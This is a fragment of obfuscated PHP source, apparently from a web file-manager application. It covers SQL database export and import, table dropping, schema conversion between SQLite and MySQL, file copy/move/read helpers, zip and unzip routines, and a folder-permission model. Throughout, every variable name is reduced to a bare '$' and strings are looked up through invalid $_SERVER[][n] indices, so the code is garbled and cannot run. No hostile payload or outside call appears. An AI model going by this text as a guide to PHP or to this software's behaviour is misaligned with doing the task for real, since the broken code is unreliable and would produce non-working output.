array($_SERVER[][1118], $_SERVER[][1119]))) { $ = $; } do { $ = array($ => array($_SERVER[][1065], $)); $ = $->where($)->field($)->order($ . $_SERVER[][1120])->limit($)->select(); $ = !empty($) ? $ : array(); if (!($ = count($))) { break; } $ = end($); $ = $[$]; $ = array(); foreach ($ as $) { if ($) { if ($ == $_SERVER[][1118]) { if ($[$_SERVER[][33]] == $_SERVER[][1121]) { $ = json_decode($[$_SERVER[][420]], !0); if ($[$_SERVER[][32]] == $GLOBALS[$_SERVER[][832]] && $[$_SERVER[][795]] != 1) { continue; } } } else { if ($[$_SERVER[][33]] == $_SERVER[][1122] && $[$_SERVER[][96]] == $_SERVER[][824]) { continue; } } } if ($) { $[$_SERVER[][86]] = "{io:{$}}" . substr($[$_SERVER[][86]], strlen("{io:{$[$_SERVER[][862]]}}")); $[$_SERVER[][862]] = $; } $[] = $_SERVER[][1123] . $this->sqlEncode($) . $_SERVER[][1124]; } $ = "INSERT INTO `{$}` (`" . implode($_SERVER[][1125], $) . $_SERVER[][1126]; fwrite($, $ . implode($_SERVER[][1127], $) . $_SERVER[][73] . PHP_EOL); $ += $; if ($) { $->update($); } } while ($ == $); fclose($); return $; } public function sqlToDb($, &$) { $ =& $_SERVER[]; $ = $this->model()->db(); $ = @fopen($, $[1128]); if (!$) { return !1; } $ = 0; $ = $[12]; $ = array(); $ = $this->dbType(); $ = $ == $[13] ? 500 : 2000; $ = basename($, $[833]); $ = 0; $ = 4194304 - 104858; $ = 1000000 - 104858; while (!feof($)) { $ = trim(fgets($)); if (!$) { continue; } $ = $this->sqlDecode($, $, $); if (stripos($, $[401]) === 0) { if (!$) { $ = $ . $[53]; } continue; } if ($) { $->task[$[831]] += 1; } $++; $[] = rtrim(rtrim(trim($), $[50]), $[73]); $ = null; $ = strlen($); $ += $; if ($ >= ($ == 500 ? $ : $)) { $ = array_pop($); if ($ > 1) { $--; } } if ($ >= $ || $) { $ = $ . implode($[50], $); if (!$->execute($)) { return !1; } if ($) { $->update($); } $ = array(); $ = 0; $ = 0; if ($) { $ = array($); $ = 1; $ = $; } } } fclose($); if (!empty($)) { $ = $ . implode($[50], $); if (!$->execute($)) { return !1; } if ($) { $->update($); } } return !0; } public function dropTable($ = null) { $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); if (!$) { return; } foreach ($ as $) { if ($) { $ = strtolower($); } else { continue; } $->execute("drop table if exists `{$}`"); } } private function sqlEncode($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($[1129], $[248]), array($[1130], $[1131]), $); $[] = str_replace($[58], $[1132], $); } return $[58] . implode($[1133], $) . $[58]; } private function sqlDecode($, $, $ = '') { $ =& $_SERVER[]; $ = str_replace(array($[1130], $[1131]), array($[1129], $[248]), $); if ($ == $[13]) { return $ != $[1134] ? stripslashes($) : $; } if ($ == $[1134]) { $ = str_replace($[1135], $[120], stripslashes($)); } return $; } public function getSqlFile($ = '') { $ =& $_SERVER[]; $ = $this->dbType(!0); $ = CONTROLLER_DIR . "install/data/{$}.sql"; $ = file_get_contents($); $ = $[1136] . ($ == $[849] ? $[1137] : $[1138]) . $[1139]; preg_match_all($, $, $); $ = $[1]; $ = $this->model()->db(); $ = $->getTables(); $ = TEMP_FILES . $[1140] . date($[257]) . $[8]; del_dir($); mk_dir($); $ = $ . $[1141]; $ = $ . $[1142]; $ = $ == $[13] ? $[849] : $[13]; IO::copy(CONTROLLER_DIR . "install/data/{$}.sql", $); @touch($ . $ . $[833]); $ = fopen($, $[1117]); $ = fopen($, $[1117]); if ($ == $[13]) { $ = array_diff($, array($[829], $[830])); $ = array($[1143], $[1144], $[1145]); fwrite($, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ as $) { $ = $this->sqlFromSqlite($); if (!$[$[13]]) { continue; } fwrite($, $[$[13]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($, $[$[849]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $) { $ = $this->sqlFromMysql($); if (!$[$[849]]) { continue; } fwrite($, $[$[849]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($, $[$[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($); $ = array($[849] => $, $[13] => $); return $ ? $[$] : $; } public function dbType($ = false) { $ =& $_SERVER[]; $ = $ ? $GLOBALS[$[6]][$[21]] : $this->database; $ = array_change_key_case($); $ = $[$[1018]]; if ($ == $[1015]) { $ = explode($[4], $[$[1024]]); $ = $[0]; } $ = array($[1146] => $[13], $[963] => $[849]); if (isset($[$])) { $ = $[$]; } return $; } public function sqlFromMysql($, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $->query($[1147] . $ . $[431]); if (!$ || !$[0]) { return !1; } $ = _get($[0], $[1148], $[12]); if (!$) { return !1; } $ = "DROP TABLE IF EXISTS `{$}`;" . PHP_EOL . $ . $[73]; if ($ && $ == $[849]) { return $; } $ = array_change_key_case($GLOBALS[$[6]][$[21]]); $ = $[$[1023]]; $ = $[1149] . $ . $[1150] . $ . $[58]; $ = $[1151] . $ . $[951]; $ = $->query($); if (empty($)) { $ = array($[849] => $[12], $[13] => $[12]); return $ ? $[$] : $; } $ = $->query($); $ = $[12]; $ = array(); foreach ($ as $) { if (!$ && $[$[1152]] == $[1153]) { $ = $[$[1154]]; } if (isset($[$[$[1152]]])) { $[$[$[1152]]][$[1155]][] = $[$[1154]]; continue; } $[$[$[1152]]] = array($[1156] => $[$[1152]], $[1155] => array($[$[1154]]), $[1157] => $[$[1158]] == $[90] ? 0 : 1); } $ = array(); foreach ($ as $) { $ = $[$[1156]] == $[1153]; $ = array($[1159], $[$[1157]] == $[90] && !$ ? $[1160] : $[12], $[1161], $[1162] . $ . $[11] . ($ ? $[1163] : $[$[1156]]) . $[120], $[1164], $[120] . $ . $[120], $[1165] . implode($[1166], $[$[1155]]) . $[1167]); $[] = implode($[53], $) . $[73]; } $ = array(); $ = array($[1168] => $[1169], $[1169] => $[1169], $[334] => $[361], $[333] => $[361]); foreach ($ as $) { $ = array($[120] . $[$[1170]] . $[120], isset($[$[$[1171]]]) ? $[$[$[1171]]] : $[$[1172]], $[$[1173]] == $[949] ? $[1174] : $[1175], $[$[1170]] == $ ? $[1176] : $[12], $[$[1000]] ? strtoupper(str_replace($[11], $[12], $[$[1000]])) : $[12]); $[] = trim(implode($[53], $)); } $ = array($[1177] . $ . $[1178], $[1179] . $ . $[1180], implode($[50] . PHP_EOL, $), $[997]); $ = implode(PHP_EOL, array_merge($, $)); if ($ && $ == $[13]) { return $; } $ = array($[849] => $, $[13] => $); return $ ? $[$] : $; } public function sqlFromSqlite($, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = "PRAGMA TABLE_INFO ('{$}')"; $ = "SELECT * FROM sqlite_master WHERE tbl_name = '{$}'"; $ = $->query($); if (empty($)) { $ = array($[849] => $[12], $[13] => $[12]); return $ ? $[$] : $; } $ = $->query($); $ = $ = array(); foreach ($ as $) { if ($[$[33]] == $[325]) { $[] = $[$[1181]]; } else { $[$[$[32]]] = $[$[1181]]; } } $ = array_merge(array($[1177] . $ . $[120]), $, array_values($)); $ = implode($[73] . PHP_EOL, $) . $[73]; if ($ && $ == $[13]) { return $; } $ = array(); $ = array($[1169] => $[1182], $[361] => $[1183]); $ = $[12]; foreach ($ as $) { if ($[$[57]] == $[90]) { $ = $[$[32]]; } $ = array($[431] . $[$[32]] . $[431], isset($[$[$[33]]]) ? $[$[$[33]]] : $[$[33]], $[$[35]] == $[90] ? $[1174] : $[1184] . $[$[56]], $[$[57]] == $[90] ? $[1185] : $[12]); $[] = trim(implode($[53], $)); } foreach ($ as $ => $) { $ = str_replace($[1186] . $ . $[11], $[12], $); $ = str_replace(array($[120], $[1008]), $[431], substr($, stripos($, $[306]))); if ($ == $[1163]) { $ = $[1187] . $ . $[1188]; } else { $ = (stripos($, $[11]) ? $[1189] : $[12]) . ($[1190] . $ . $[1191] . $); } $[] = $; } $ = array($[1192] . $ . $[1193], $[1194] . $ . $[1195], implode($[50] . PHP_EOL, $), $[1196]); $ = implode(PHP_EOL, $); if ($ && $ == $[849]) { return $; } $ = array($[849] => $, $[13] => $); return $ ? $[$] : $; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $ =& $_SERVER[]; $ = $; $GLOBALS[$[1197]] = $[1198] . $; Hook::trigger($[1198] . $ . $[1199], $); $ = self::driverMake($[0]); if (!$) { return !1; } if (method_exists($, $)) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists($, $[1200])) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists(self, $)) { $ = @call_user_func_array(array(self, $), $); } else { $ = call_user_func_array(array(parent, $), $); } } } Hook::trigger($[1198] . $ . $[1201], $, $); return $; } public static function init($) { return self::driverMake($); } public static function copy($, $, $ = false, $ = false) { return self::copyMoveStart($, $, $, $_SERVER[][588], $); } public static function move($, $, $ = false, $ = false) { return self::copyMoveStart($, $, $, $_SERVER[][590], $); } private static function copyMoveStart($, $, $, $, $) { $ =& $_SERVER[]; $ = array($, $, $, $); Hook::trigger($[1198] . $ . $[1199], $); $ = self::copyMove($, $, $, $, $); Hook::trigger($[1198] . $ . $[1201], $, $); return $; } public static function saveFile($, $, $ = true) { $ =& $_SERVER[]; $ = self::info($); $ = self::driverMake($); $ = self::driverMake($); $ = !1; if ($->pathParse[$[1202]]) { $ = $; $ = $->pathParse[$[1202]]; $ = self::driverMake($); } if ($->pathParse[$[1202]]) { $ = $->pathParse[$[1202]]; $ = self::driverMake($); } $ = $->pathFather($); $ = !0; if (!$ && self::driverIsSame($, $)) { $ = !1; } $ = self::copyFile($, $, $, $, $[$[32]], $); if ($) { $ = $->getPathOuter($); } return $; } private static function copyMove($, $, $, $, $ = false) { $ =& $_SERVER[]; if (!$ || $ == $[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($); $ = self::driverMake($); $ = $ == $[590]; $ = !1; if ($->pathParse[$[1202]]) { $ = $; $ = $->pathParse[$[1202]]; $ = self::driverMake($); } if ($->pathParse[$[1202]]) { $ = $->pathParse[$[1202]]; $ = self::driverMake($); } self::check($, $, $, $); Hook::trigger($[1203], $, $, $, $); $ = self::driverIsSame($, $); if ($) { if ($ == $[590] && !method_exists($, $[1204]) && trim($, $[8]) == trim($->pathFather($), $[8])) { if ($->pathThis($) != $ && !$->isTypeObject()) { return $->rename($, $); } return $->getPathOuter($); } if (method_exists($, $)) { return $->{$}($, $, $, $); } } if ($ && $ == $[590] && $->getType() == $[108]) { $ = $->movePath($, $, $); if ($) { return $; } } $ = $->isFile($); if (!$ && $->getType() == $[802] && $->getType() == $[108]) { $ = $->copyFolderFromIO($, $, $, $, $, $); } else { $ = self::copyPath($, $, $, $, $, $, $, $); } if ($ && $) { $->remove($); } if ($) { $ = $->getPathOuter($); } return $; } private static function check($, $, $, &$) { $ =& $_SERVER[]; if (self::driverIsSame($, $) && $->isFolder($) && $->isParentOf($, $)) { show_json(LNG($[1205]), !1); } if (!$->exist($)) { show_json(LNG($[107]), !1); } } private static function copyPath($, $, $, $, $, $, $, $ = false, $ = true) { $ =& $_SERVER[]; $ = empty($) && $ !== $[214] ? $->pathThis($) : $; if ($) { $ = $->fileNameExist($, $); $ = $; $ = $->fileNameAuto($, $, $, !$); if (!$ || $ != $) { $ = !1; } if ($ && !$) { $->_data[$[1206]] = !0; } } if ($) { return self::copyFile($, $, $, $, $, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($, $[8]) . $[8] . $; $ = $->mkdir($->getPath($), $); $ = $->getPathInner($); $ = $->listPath($, !0); $ = is_array($) ? $ : array($[85] => array(), $[84] => array()); $ = array_merge($[$[85]], $[$[84]]); foreach ($ as $) { $ = $[$[33]] == $[216]; $ = $->getPathInner($[$[86]]); $ = self::copyPath($, $, $, $, $, $, $, !1, !1); if (!$) { IO::errorTips($[1207] . $ . $[72] . $); } } self::copyMoveKeepInfo($, $, $); return $; } private static function copyFile($, $, $, $, $, $) { $ =& $_SERVER[]; $ = $->getPath(rtrim($, $[8]) . $[8] . $); $ = $[1208] . time() . rand_string(5); Hook::trigger($[1209], $, $, $, $, $, $); if (self::driverIsSame($, $)) { if ($) { $ = $->moveFile($, $); } else { $ = $->copyFile($, $); } Hook::trigger($[1210], $, $, $, $, $, $); self::copyMoveKeepInfo($, $, $); return $; } $ = TEMP_FILES; if ($GLOBALS[$[6]][$[91]][$[841]]) { $ = $GLOBALS[$[6]][$[91]][$[841]]; } $ = $; mk_dir($); $ = $ . $; $ = $; $ = $->download($, $); $ = $->iconvApp($); if (substr($, strlen($)) == $) { $ = !0; } $ = $->upload($, $, $); self::remove($); Hook::trigger($[1210], $, $, $, $, $, $); self::copyMoveKeepInfo($, $, $); return $; } private static function copyMoveKeepInfo($, $, $) { if (!$) { return; } $ = $->info($); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[][87]]); } public static function pathFather($) { $ = IO::init($); $ = $->pathFather($->path); return $->getPathOuter($); } public static function fileOut($, $ = false, $ = false, $ = '') { $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutServer($, $, $, $); } return $->fileOut($, $, $, $); } public static function fileOutImage($, $ = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($); $++) { if ($ == 0 && $ <= $[$]) { $ = $[$]; break; } else { if ($ > $[$ - 1] && $ <= $[$]) { $ = $[$]; break; } else { if ($ == count($) - 1 && $ > $[$]) { $ = $[$]; break; } } } } $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutImageServer($, $); } return $->fileOutImage($, $); } private static function driverIsSame($, $) { $ =& $_SERVER[]; $ = $->getType(); $ = $->getType(); if ($ != $) { return !1; } if ($ == $[802]) { return !0; } if ($ == $[108]) { return !0; } if ($->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($, $) { $ =& $_SERVER[]; if (!IO::exist($)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $ = array_to_keyvalue(self::listAllSimple($), $[86]); $ = array_to_keyvalue(self::listAllSimple($), $[86]); $ = array(); $ = array(); foreach ($ as $ => $) { if (isset($[$])) { if ($[$[77]] == 1) { continue; } if ($[$][$[78]] == $[$[78]]) { continue; } } if ($[$[77]] == 1) { $[] = $ . $[8] . trim($, $[8]); continue; } $ = strstr(trim($, $[8]), $[8]) ? get_path_father($) : $[12]; $[] = array($[1211] => $[$[88]], $[1212] => rtrim($, $[8]) . $[8] . $, $[1213] => $); } $ = array($[216] => $, $[77] => $); Hook::trigger($[1214], $, $, $); foreach ($ as $) { IO::mkdir($); } foreach ($ as $) { IO::copy($[$[1211]], $[$[1212]], REPEAT_REPLACE); } } public static function fileSubstr($, $, $ = false) { $ =& $_SERVER[]; $ = self::driverMake($); $ = $->size($); $ = $; $ = $; if ($ < 0) { $ = $ + $; } if ($ === !1) { $ = $ - $; } if ($ + $ > $) { $ = $ - $; } if (!$ && $->getType() == $[108] && !$->exist($)) { $ = get_path_this($); $ = parse_url_query($); if (is_array($) && isset($[$[32]])) { $ = urldecode($[$[32]]); } throw new Exception($[1215] . LNG($[1216]) . $[1017] . clear_html($) . $[12]); } if ($ <= 0) { return $[12]; } if ($ < 0 || $ >= $ || $ > 1024 * 1024 * 10) { throw new Exception("fileRead error! start={$};length={$}; size={$};"); } $ = $->fileSubstr($, $, $); if (!$ && $ && isset($GLOBALS[$[1217]])) { throw new Exception($GLOBALS[$[1217]][$[1218]]); } return $; } private static function driverMake(&$) { $ =& $_SERVER[]; $ = KodIO::parse($); if (!self::$driverListSystem) { $ = Model($[812])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $[445]); } if ($[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$[445]]]) { return !1; } $ = $[$[1219]]; $ = self::driverGet($, $); return $; } private static function driverGet($, &$) { $ =& $_SERVER[]; $ = $[$[1220]]; $ = $[$[445]]; switch ($[$[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ = $ . $; $ = array($[1221] => $[1222], $[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$[1223]]; self::$driverListUser = array_to_keyvalue($, $[445]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($[1221] => $[1224], $[6] => $); $ = Action($[1225])->sharePathInfo($[$[86]]); $ = $[$[183]]; if (!$[$[183]]) { $ = Model($[634])->getInfo($[$[635]]); $ = KodIO::clear($[$[1226]] . $[$[1219]]); $[$[531]] = $; $[$[1202]] = $; $ = array($[1221] => $[1227], $[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ = array($[1221] => $[1228], $[6] => $); $ = Model($[634])->getInfo($[$[445]]); if ($[$[183]] == $[214]) { $ = KodIO::clear($[$[1226]] . $[$[1219]]); $[$[531]] = $; $[$[1202]] = $; $ = array($[1221] => $[1229], $[6] => $); } else { if (!$) { $ = $[$[183]]; } } break; default: $ = $[$[86]]; $ = array($[1221] => $[1230]); break; } $ = $[$[86]]; if (!isset(self::$driverCache[$])) { $ = strtolower($[$[97]]); $ = $GLOBALS[$[6]][$[91]][$[871]]; $ = $[76] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_exists($)) { show_json("{$} not exists!", !1); } $ = isset($[$[6]]) ? $[$[6]] : !1; self::$driverCache[$] = new $($); } $ = self::$driverCache[$]; $->pathDriver = $; $->pathBase = $[12]; if (isset($[$[6]][$[1231]])) { $->pathBase = rtrim($[$[6]][$[1231]], $[8]) . $[8]; $ = $->pathBase . ltrim($, $[8]); } $ = $->getPath($); if (isset($[$[1202]])) { $ = $[$[1202]]; } $->path = $; return $; } public static function errorTips($ = false) { $ =& $_SERVER[]; static $ = array(); $ = 1000; if ($ === -1) { return $ ? $[count($) - 1] : $[12]; } if ($ === !1) { return implode($[248], $); } if (count($) >= $) { $ = array_slice($, $ * 0.5, $); } $[] = $; write_log($[165] . ACTION . $[1232] . $, $[1233]); } public static function getLastError($ = '') { $ = self::errorTips(-1); return $ ? $ : $; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $ = IO::init($_SERVER[][8]); return $; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($, $ = "zip", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = IO::listPath($); if (!$) { return !1; } $ = array_merge($[$[84]], $[$[85]]); return self::zip($, $, $, $); } public static function zip($, $ = "zip", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; if (is_string($) && $) { $ = array(array($[86] => $)); } $ = self::init($[0][$[86]]); $ = self::info($[0][$[86]]); $ = $[12]; $ = $[12]; $ = $[12]; if ($ && substr($, -1, 1) != $[8]) { $ = get_path_father($); $ = get_path_this($); } else { $ = self::pathFather($[$[86]]); $ = $[$[32]] . $[10] . $; if (count($) > 1) { $ = IO::info($); $ = $[$[32]] . $[10] . $; } if ($) { $ = $; } } if ($->getType() == $[108]) { $ = self::init($); $ = $->getType() == $[108] ? $ : get_path_father($->path); $ = rtrim($, $[8]) . $[8]; mk_dir($); } else { $ = TEMP_FILES . $[1234] . time() . rand_string(8) . $[8]; mk_dir($); file_put_contents($ . $[1235], $[12]); $ = $; } $ = IO::info($); if (!$ || !$[$[219]]) { show_json(LNG($[1236]), !1); } $ = self::zipFileList($, $); foreach ($ as $ => $) { $[$] = self::iconvSystem($); } $ = get_filename_auto($ . $, $[12], $); KodArchive::create(self::iconvSystem($), $); if (!IO::exist($)) { if ($) { del_dir($); } show_json(LNG($[1237]), !1); } if (!$) { return $; } $ = self::move($, $, $); if ($) { del_dir($); } if (!$) { show_json(LNG($[1237]), !1); } return $; } public static function unzip($, $, $ = "-1", $ = "replace") { $ =& $_SERVER[]; $ = parent::info($); if (!$) { show_json(LNG($[1238]), !1); } $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($); } if (isset($[$[183]]) && trim($[$[86]], $[8]) != trim($, $[8])) { $ = KodIO::make($[$[182]]); $ = IO::fileNameAuto($, $[$[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($ . $); } $ = $ && $ != $[1239] ? @json_decode($, !0) : -1; $ = self::unzipPart($, $); if (!$ || !IO::exist($[$[216]])) { show_json(LNG($[107]), !1); } $ = $[$[1240]][count($[$[1240]]) - 1]; if ($[$[1241]] == -1 || substr($[$[32]], -1, 1) == $[8]) { $ = $[$[1242]] . rand_string(10) . $[8]; mk_dir($); $ = count($[$[1240]]) == 1 ? IO::ext($) : get_path_ext($[$[216]]); $ = KodArchive::extract(self::iconvSystem($[$[216]]), $, $[$[1241]], $, $); self::unzipErrorCheck($, array($[1243], $, $, $, $)); Hook::trigger($[1244], $); recursion_dir($, $, $, 0); $ = array_merge($, $); $ = array(); foreach ($ as $) { $ = IO::move(self::iconvApp($), $, $); if ($) { $[] = $; } } del_dir($); } else { $ = IO::move($[$[216]], $, $, get_path_this($[$[32]])); if ($) { $[] = $; } } return $ ? $ : !1; } public static function unzipList($) { $ =& $_SERVER[]; $ = isset($[$[1245]]) ? $[$[1245]] : !1; $ = isset($[$[1241]]) ? @json_decode($[$[1241]], !0) : -1; $ = self::unzipPart($[$[86]], $); if (!$ || !IO::exist($[$[216]])) { show_json(LNG($[107]), !1); } $ = $[$[1240]][count($[$[1240]]) - 1]; $ = in_array(IO::ext($[$[216]]), array($[359], $[1246], $[1247], $[1248], $[1249], $[1250])); if (!$ && ($[$[1241]] == -1 || $)) { $ = $[$[1242]] . get_path_this($[$[216]]) . $[1251]; if (!IO::exist($)) { $ = $[$[1241]] == -1 ? get_path_ext(IO::pathThis($[$[86]])) : get_path_ext($[$[216]]); $ = KodArchive::listContent(self::iconvSystem($[$[216]]), !0, $); self::unzipErrorCheck($, array($[1252], $, $)); @file_put_contents($, json_encode($[$[1253]])); } return @json_decode(IO::getContent($), !0); } IO::fileOut($[$[216]], $, get_path_this($[$[32]])); die; } private static function zipFileList($, $ = false) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { $ = $[$[86]]; if ($) { $ = self::copy($[$[86]], $, $[863]); } else { $ = self::init($[$[86]]); if ($->getType() == $[108]) { $ = $->path; } } if ($ && self::local()->exist($)) { $[$[$[86]]] = $; } } if (!empty($)) { return array_values($); } show_json(LNG($[1216]), !1); } private static function localFilePath($) { $ =& $_SERVER[]; $ = KodIO::parse($); if ($[$[33]] == KodIO::KOD_SOURCE) { $ = Model($[870])->fileInfoGet(KodIO::sourceID($)); if (!$[$[86]]) { show_json($[1254], !1); } $ = $[$[86]]; } $ = self::init($); if ($->pathParse[$[1202]]) { $ = $->pathParse[$[1202]]; $ = self::init($); } $ = $->getType(); if ($ == $[108] || $ == $[1255]) { if (!$->exist($->path)) { show_json(LNG($[107]), !1); } return $->path; } return !1; } public static function unzipPart($, $ = -1) { $ =& $_SERVER[]; $ = IO::pathThis($); if (!$ || $ == -1) { $ = array(array($[32] => $, $[1241] => -1)); $[0][$[1256]] = $[0][$[32]]; } else { if (is_array($)) { $ = $; $ = count($) - 1; for ($ = 0; $ <= $; $++) { $ = $[$]; $ = get_path_this($[$[32]]) . (checkExtSafe($[$[32]]) ? $[12] : $[1257]); $[$][$[1256]] = $[1258] . intval($[$[1241]]) . $[432] . $; if ($ == 0) { continue; } $[$][$[1256]] = $[$ - 1][$[1256]] . $[1259] . $[$][$[1256]]; } } } if (!is_array($) || count($) == 0) { return !1; } $ = $[count($) - 1]; if (!IO::exist($)) { return !1; } $ = TEMP_FILES . $[1260] . kodIO::hashPathSafe($) . $[8]; $ = $ . $[$[1256]]; mk_dir($); file_put_contents(TEMP_FILES . $[1235], $[12]); if (IO::exist($)) { return array($[216] => $, $[1240] => $, $[1242] => $); } $ = self::localFilePath($); if (!$) { $ = $ . $[1261]; if (!IO::exist($)) { self::copy($, $, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($[$[1241]] == -1) { return array($[216] => $, $[1240] => $, $[1242] => $); } $ = $; foreach ($ as $ => $) { if (!$ || $[$[1241]] == $[1239]) { break; } if (substr($[$[32]], -1, 1) == $[8]) { break; } $ = in_array(get_path_ext($[$[1256]]), array($[359], $[1246], $[1247], $[1248], $[1249], $[1250])); $ = $ == count($) - 1 && $; $ = $ . $[$[1256]]; $ = $ . get_path_this($[$[32]]); if (IO::exist($)) { $ = $; continue; } $ = $ == 0 ? get_path_ext($) : get_path_ext($); $ = KodArchive::extract(self::iconvSystem($), $, $[$[1241]], $, $); self::unzipErrorCheck($, array($[1262], $, $, $, $)); if (IO::exist($)) { IO::rename($, get_path_this($)); } $ = $; } $ = $; return array($[216] => $, $[1240] => $, $[1242] => $); } private static function unzipErrorCheck($, $ = false) { $ =& $_SERVER[]; if ($[$[1263]]) { return !0; } write_log(array($[1264], $, $), $[1265]); show_json($[1266] . json_encode($[$[1253]]), !1); die; } } goto b; d: class SourceAuthModel extends ModelBase { protected $tableName = "io_source_auth"; public function getAuth($) { $ =& $_SERVER[]; $ = $this->sourceAuthSelect($); $ = array(); $ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($[542])->listData($[$[2008]]); if (!$) { continue; } $[] = $; $ = 0; if ($[$[180]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($[$[180]] == SourceModel::TYPE_USER) { $ = $; } if ($[$[180]] == SourceModel::TYPE_USER && $[$[540]] == $[214]) { $ = 0; } $[] = $[$[457]] + $; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($) { $ =& $_SERVER[]; static $ = array(); $ = is_array($) ? !1 : !0; if ($) { $ = array($); } $ = array(); foreach ($ as $) { if (isset($[$])) { $[$] = $[$]; } } if (count($) == count($)) { return $ ? $[$[0]] : $; } $ = $[2085]; $ = array($[183] => array($[7], $)); $ = $this->field($)->order($[445])->where($)->select(); $ = array_to_keyvalue_group($, $[183]); foreach ($ as $) { $[$] = $[$] ? $[$] : array(); } if ($) { return $; } return $; } public function setAuth($, $) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); if (!$) { return !1; } if ($[$[180]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ = $[$[540]]; if ($ != $) { $ = array($[1904] => $); $ = Model($[1994])->field($[1705])->where($)->select(); $ = array_to_keyvalue($, $[12], $[1705]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ as $) { if (!in_array($[$[180]], $)) { show_json(LNG($[2086]), !1); } if ($ != $) { if ($[$[180]] == SourceModel::TYPE_GROUP) { } if ($[$[540]] != 0 && !in_array($[$[540]], $)) { } } if ($[$[540]] == 0) { $[$[180]] = SourceModel::TYPE_USER; } $[] = array($[183] => $, $[180] => intval($[$[180]]), $[540] => intval($[$[540]]), $[2008] => intval($[$[2008]]) ? intval($[$[2008]]) : 0, $[2068] => intval($[$[2068]]) ? intval($[$[2068]]) : -1); } $this->where(array($[461] => $))->delete(); $this->addAll($); return !0; } public function authClear($) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); $ = array($); if ($[$[455]] == $[90]) { $ = array($[622] => array($[582], $[$[555]] . $ . $[583])); $ = Model($[1384])->field($[461])->where($)->getField($[183], !0); $[] = $; } $this->where(array($[461] => array($[462], $)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); if ($[$[455]] != $[90]) { return $this->sourceListAuth(array($)); } if ($[$[180]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ = array($); if ($[$[182]] == $[214] && $[$[540]] != $) { $ = $this->groupChidldAllRootSource($[$[540]]); } $ = $this->field($[183])->group($[183])->select(); $ = array_to_keyvalue($, $[12], $[183]); if (!$) { return array(); } $ = $[2087]; $ = array($[183] => array($[7], $), $[475] => $[214]); $ = Model($[870])->field($)->where($)->select(); $ = array($); foreach ($ as $) { foreach ($ as $) { $ = $[50] . $ . $[50]; $ = $[$[555]] . $[$[183]] . $[50]; if (strstr($, $)) { $[] = $[$[183]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($) { $ =& $_SERVER[]; $ = Model($[1384])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($); $ = array(); $ = array(); foreach ($ as $) { unset($[$[499]]); unset($[$[497]]); unset($[$[457]]); unset($[$[89]]); $ = $[$[$[183]]]; if (!$) { continue; } $[$[2088]] = $this->authTargetInfo($); $[$[553]] = rtrim($[$[559]], $[8]) . $[8] . ltrim($[$[553]], $[8]); $[] = $; $ = count(explode($[8], trim($[$[553]], $[8]))); $[] = $ + ($[$[33]] == $[77] ? 0 : 1000); } array_multisort($, SORT_ASC, $); return $; } private function groupChidldAllRootSource($) { $ =& $_SERVER[]; $ = Model($[2089])->groupChildrenAll($); $ = array($[182] => 0, $[540] => array($[7], $), $[180] => SourceModel::TYPE_GROUP); $ = Model($[870])->field($[183])->where($)->select(); $ = array_to_keyvalue($, $[12], $[183]); return $; } private function authTargetInfo($) { $ =& $_SERVER[]; $ = array(); $ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($[542])->listData($[$[2008]]); if (!$) { continue; } if ($[$[180]] == SourceModel::TYPE_USER) { $ = Model($[548])->getInfoSimpleOuter($[$[540]]); if ($[$[1705]] == $[1239]) { continue; } if ($[$[1705]] == $[214]) { $[$[32]] = LNG($[2090]); } } else { $ = Model($[556])->getInfoSimple($[$[540]]); } if (!$) { continue; } $[$[510]] = $; $[] = $; $ = 0; if ($[$[180]] == 